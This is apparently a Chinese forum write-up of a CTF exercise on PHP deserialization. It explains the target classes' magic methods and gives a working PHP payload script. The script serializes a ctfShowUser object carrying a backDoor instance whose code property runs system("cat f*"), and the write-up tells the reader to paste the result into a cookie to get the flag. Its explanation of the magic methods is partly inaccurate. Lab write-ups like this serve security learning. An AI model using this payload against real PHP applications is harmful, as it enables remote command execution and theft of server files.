最近在学php反序列化漏洞,找课外练习做的时候遇到了,觉得挺有意思,分享一下
先看下源码
分析一下:
1.找到反序列化传参点,危险方法和其所在的类;
2.找到反序列化之后可以调用的方法及其中的可篡改属性;
3.重写了_construct()魔术方法,在构建ctfshowuser对象的时候构建一个新的info()对象;
4.重写了_destruct()魔术方法,在销毁ctfshowuser对象时会执行当前对象中class属性(也就是刚构建的info()对象)的getInfo()方法;
5.这里补充一下_destruct()魔术方法在这里被调用的原因:由于在重写的_construct()方法中新建了一个局部对象,在construct函数执行完毕后,该局部对象生命周期结束,于是调用_destruct()方法。
整理一下思路:
首先,我们必须通过调用危险类中的危险方法来完成对漏洞的利用,但是反序列化的过程中调用的方法中没有直接调用危险方法,同时我们也不能在对象中增加新的方法,那就只能通过改写方法中的属性了
payload
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();//改写属性,让其构造危险实例
}
}
class backDoor{
public $code='system("cat f*");';//改写危险类属性,通过system方法命令执行
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
解析一下payload的具体思路:
看下payload效果
将其粘贴到cookie上
别忘了传参
flag在页面代码里哦
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 150.00 | 0 | 2023-10-10 15:03:27 | 首发文章奖励 150 希望同学有更多好文 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.